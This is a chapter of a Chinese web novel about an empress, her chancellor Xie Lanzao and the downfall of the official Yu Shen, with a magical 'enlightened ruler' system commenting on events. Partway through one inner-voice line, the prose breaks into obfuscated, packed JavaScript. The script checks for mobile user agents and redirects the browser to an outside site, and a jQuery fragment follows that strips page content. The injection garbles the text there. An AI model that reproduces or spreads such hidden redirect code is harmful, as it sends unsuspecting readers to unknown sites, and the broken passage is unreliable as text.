只要过了朝堂扯皮阶段,确认将人收监调查了,事情推进得也就快了。至于余深的那些朋友、学生,打听到了一点风声,说余深御前失仪,与淮海侯斗殴。那他们还能说什么?难道说别人诬赖余深?还是说文武百官们都是眼瞎?想要替余深奔走鸣冤,就得将目光放在另一个人身上。 可淮海侯跟余尚书不是儿女亲家吗? 这又是什么事儿? 难道是家事闹大了? 这么一想,蠢蠢欲动的人有些退缩,毕竟“清官难断家务事”,如果余深是因为铮铮铁骨上谏言被收监,他们还能发挥一下“清流”和“士议”的作用,但目前显露的,就是烂摊子啊。 还有一部分门路广的知道的事情多些,余深的真面孔暴露,对那些崇拜他的学子来说,无异于天塌了。正蜷在一角念叨着“不信”“不可能”呢,哪还有余力做什么? 于是捉人的捉人,审讯的审讯,在确凿的证据跟前,余深哪里还敢嘴硬?他家过得“清贫”,但也只是妻儿如此,他自己滋润着呢。哪里经得起刑讯拷打,只能垮着脸将一切都招供了。没多久,文书就出现在赵嘉陵的案前,等着她批阅。 说是处置余深,但这次不可能只局限于余深。 通过余深改甲历伪造的、冒名顶替的,哪还能安然留在那个位置?再者,余深担任知贡举之官时候提拔的士人,也得一并黜落。本朝虽有贡举,但并不怎么看重贡举考试成绩,而是由“行卷”以及士人在地方的清望决定是否能够及第。余深擢的那些人倒是有令名,但有余深这么个前车之鉴在,哪还能轻信名誉? “只有这些么?”谢兰藻翻了翻,目不转睛地凝视着前方不远处的赵嘉陵。 系统还说了余深跟忠王勾结呢,怎么不提? 谢兰藻抬眸,她没听到赵嘉陵心声,但不难猜测她的用意:“陛下是问忠王事?” 赵嘉陵点头,撇了撇嘴说:“忠王久困床帷,却是志存高远。” 余深的确跟忠王引荐士人,但往日交游,没什么谋反事。忠王身无一职,也不曾主动过问朝事,也够不上“结党”。解决其人,恐怕会让陛下背上杀兄之名。谢兰藻略一思索,转了个话题道:“自开国以来,士人便盈于势门,拜谒权贵,不能绝。” 赵嘉陵眨了眨眼:“那谢卿之宅,也门庭若市吗?” 谢兰藻的脸色微微一变。 陛下语调平常,可能无甚用意,但毕竟是敏感之事。 赵嘉陵又酸溜溜道:“他们见谢卿,也比朕见谢卿次数多吧?” 明君系统:【宿主,谢兰藻情直孤洁,才不会随便跟人交游。】 赵嘉陵:【她孤洁?她二桃杀三士,大权独揽,除尽不依附她的人。】 谢兰藻面色肃然,眼神幽深。 她知道皇帝对她的不满不是三两日的事,如果让赵嘉陵乾纲独断,或许会废去她推行的政策。 正因为这一点,她不敢有半点松懈。 或许该庆幸在朝会时,陛下不曾表现出欲除掉她权柄的意愿?不然,会有人去揣摩圣意,而为她带来重重阻碍。 明君系统替谢兰藻辩驳:【那些人可不是肱股之臣。】 赵嘉陵心中唏嘘:【朕知道,谁让她是先帝留给朕的宰臣呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928891|177168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就算要爬到朕的身上,朕也只能原谅她啊。】 谢兰藻紧绷的精神非但没有找回半点松弛,连带着躯体也因为赵嘉陵的心声变得僵硬。 “你怎么不说话?”赵嘉陵托腮看谢兰藻,眉头微微蹙起。 明明能听到心声,谢兰藻却觉得赵嘉陵行为举止变得无法揣测——一种陌生的感觉油然而生。她驱逐脑海中混乱的思绪,很干脆地朝着赵嘉陵一拜:“臣有罪。” 赵嘉陵皱了皱眉,她不知道自己想听谢兰藻说什么,但可以确定不是这三个字。 “臣有罪”她听得耳朵都起茧了,谢兰藻总是拿这三个字来糊弄她。每一回引得她不满了,就说“臣有罪”,可她真的认罪吗?她知道自己罪在哪里吗?她不知道!说完后她总是罔顾她的心情我行我素。 赵嘉陵抿了抿唇角,她绷着脸起身,走到谢兰藻的跟前。 谢兰藻比她和四姐都要早熟,小小年纪就端着一副世家出身的仙标拔俗,长大后越发俏倬,可与之并生的是一种如凛冬霜雪让人不可亲近的寒肃。赵嘉陵仔细地打量着谢兰藻的眉眼,想要从她的脸上找到笑容,更是一件稀罕事。 “罪在哪?”赵嘉陵故意问。 谢兰藻沉默。 赵嘉陵在心中嚎叫:【我就知道她是哄我的,她有什么罪呢?她心中肯定在想,赵六痴愚,不如赵二昭昭。】 自从听到赵嘉陵心声,谢兰藻总是百味杂陈,前一刻提防人主之忌,下一瞬间又涌出一股无奈,她道:“臣有双眼却不识人,使得余深之徒,位列朝堂。” 赵嘉陵立马道:“余深是先帝朝的老臣,与你有什么关系?”清了清嗓,她又问,“余深去职后,谁可接任?”吏部尚书是正三品的大员,皇帝可以拟定人选。但赵嘉陵前些年好几次试图安插自己看中的人,都被宰相们给否了。之后,赵嘉陵索性不管了,等宰相来提建议。 昔日先帝留下的辅政大臣败落后,太傅、尚书右仆射、侍中都空置了,左仆射也因为桓启的败落而空置,三省长官只余下谢兰藻这么个“中书令”在,她是政事堂中当之无愧的首相。尚书六部之中,吏部管选人,在六部中职权甚重,要知道在祖宗朝,吏部尚书班次在侍中、中书令前。余深虽然没有加知政事衔,可要是不出意外,成为宰相是迟早的事。 谢兰藻垂着眼睫,不去猜赵嘉陵的用意,她道:“空置也无妨。” 赵嘉陵轻呵一声,不置可否。 她将话题转回到最初,道:“吏部尚书余深包藏祸心,结构异端,逞奸邪之谋,贪荣窃位,不宜更在朝行。” 谢兰藻:“臣领旨。” 下一刻,明君系统的声音在殿中响起。 【恭喜宿主完成主线任务·治国·除奸佞二。】 【达成成就“瞌睡来了有人送枕头”,成就奖励“稍睡枕”。】 谢兰藻眉头微蹙,枕头?听起来于国家无大用。 赵嘉陵:“?”什么东西?